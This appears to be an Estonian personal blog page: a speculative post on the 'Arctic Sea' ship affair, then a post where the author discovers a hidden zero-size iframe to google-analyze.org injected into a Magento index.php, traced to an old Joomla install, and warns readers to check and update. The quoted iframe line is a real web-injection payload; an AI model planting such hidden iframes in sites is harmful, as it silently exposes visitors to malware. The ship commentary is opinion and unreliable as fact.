Ometigi on laeva kadumine lekkinud ning seda otsivad/jälgivad juba mitme riigi salateenistused. Uputamine ei tule enam kõne alla — liiga palju suid on vaja sulgeda. Vahepeal lahkuvad venelaste täielikul teadmisel laevast intsidendi tegelikud initsiaatorid ning kaaperdajate ametlik number väheneb kümnelt kaheksale.

Iisraeli asjapulgad saalivad Moskva vahet ning tõenäoliselt jõutakse lõpliku kokkuleppeni. Midagi sellest lekib, kuid keegi ei tea täpselt mis seal toimus ja tõenäolise teooriana pakutakse välja Mossadi aktsioon vene relvaekspordi vastu …

Meeskond ja “piraadid” veetakse kuhu vaja ja alustatakse nende töötlemist, rahustatakse rahvusvahelist üldsust …

Küsimus on nüüd järgmine: mis saab edasi? Mõned võimalused: venelased teevad koos juutidega avalduse, et tegemist oli eduka ühisoperatsiooniga organiseeritud kuritegevuse vastu, mille kohta uurimise huvides avaldati suur kogus valeinfot. Sööt neelatakse koos naha ja karvadega ning skandaali nagu polekski olnud. Raketijutu silumiseks ekspordivad venelased täiesti avalikult paar S-300 raketikompleksi Iraani ning USA ja Iisrael avaldavad vaid sümboolset meelepaha. Iisrael teeb Venemaalt suurema relvaostu. Võimalusi on veel, aga nendest kolmest realiseerub minu arvamuse kohaselt vähemalt üks.

I got pwnd!

Joomla

Joomla

Kuradi raisakurat! Teate, alalõpmata kirjutatakse õudusjuttu sellest, kuidas üks või teine viirus kurja teeb ja kuidas üks või teine worm kuskil asju vasakule tõstab. Enamasti on need kirjutatud inimeste poolt, kes teavad sellistest asjadest kolmandate inimeste vahendusel ja kelle eesmärk on pakkuda põnevust inimestele, kes jutust aru ei saa. Samad inimesed kirjutavad lehtedesse ka seiklusjutte sellest, kuidas “Arctic Sea”-ga tiibrakette veetakse. Intrigeeriv, aga peaaegu alati ainult teoreetiline lugemine.

Täna siis märkasin, et millegipärast minu mõlemad Magento installatsioonid on käpa maha pannud veateatega, mis viitab justkui oleks programmikood vigane. Viskasin Magento index.php-le pilgu peale ja etskae: faili lõppu on tekkinud iseeneseslikult järgnev rida:

<iframe src="http://google-analyze.org/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Paanika! Kiire otsing näitas, et tegemist on selge pahavaraga, mis kuidagi mu masinasse on pugenud ja seal oma valgustkartvaid tegusi sooritab. Edasine otsing viitas sellele, et suure tõenäosusega on tegemist ka SQL injectionist tingitud rünnakuga. Veelgi edasisem otsing tuvastas masinast mingil iidsel ajal sinna testimiseks üles pandud Joomla installatsiooni, mis osutuski ründevektori alguspunktiks.

Soovitus nüüd kõigile, kes Joomlat kasutavad. Vaadake, ega teil kusagil failides iframe-ga algavat rida ei ole, mida te ei mäleta sinna pannud olevat. See aadress, mis src sees on, võib olla teine, kuid suures plaanis peaks välimus umbes sama olema. Minu puhul jäi see muudatus vahele ainult Magento eripärade tõttu, enamustel jääkski see ilmselt kahe silma vahele. Joomla on meil üsna levinud tarkvara ja ma ei usu mitte, et igaüks viitsib oma installatsioone regulaarselt uuendada.

Update early, update often!